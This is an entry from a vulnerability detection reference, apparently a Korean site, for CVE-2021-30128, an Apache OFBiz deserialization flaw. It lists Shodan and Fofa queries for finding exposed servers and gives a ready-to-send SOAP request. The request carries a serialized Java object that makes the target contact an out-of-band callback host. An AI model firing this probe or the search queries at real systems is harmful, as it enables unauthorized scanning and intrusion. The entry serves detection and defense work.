🔙 목록으로 돌아가기

CVE-2021-30128: Apache OFBiz <17.12.07 - Arbitrary Code Execution

TitleApache OFBiz <17.12.07 - Arbitrary Code Execution
AuthorFor3stCo1d
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
RemediationUpgrade Apache OFBiz to version 17.12.07 or later to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.93353
CVE IDCVE-2021-30128
CWE IDCWE-502
Shodan Queryhttp.html:"ofbiz"ofbiz.visitor=
Fofa Queryapp="Apache_OFBiz"body="ofbiz"app="apache_ofbiz"
Tags cve2021 cve apache ofbiz deserialization rce vuln

🔍 Vulnerability Description

Apache OFBiz before 17.12.07 is susceptible to arbitrary code execution via unsafe deserialization. An attacker can modify deserialized data or code without using provided accessor functions.

🌐 HTTP Request

POST /webtools/control/SOAPService HTTP/1.1
Host: www.victim.com
User-Agent: Moz111a/5.0 (1Pad; CPU 0S 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 1141
Content-Type: text/xml
Accept-Encoding: gzip

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://ofbiz.apache.org/service/">

  <soapenv:Header/>

    <soapenv:Body>

      <ser>

        <map-Map>

          <map-Entry>

            <map-Key>

              <cus-obj>aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002b64356a6e6f68316c65306f346a66346133706867653372653174726b686636776f2e6f6173742e6c69766574000071007e00057400046874747073707874003368747470733a2f2f64356a6e6f68316c65306f346a66346133706867653372653174726b686636776f2e6f6173742e6c69766578</cus-obj>

            </map-Key>

          <map-Value>

        <std-String/>

        </map-Value>

        </map-Entry>

      </map-Map>

      </ser>

    </soapenv:Body>

</soapenv:Envelope>

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-30128.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-30128.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A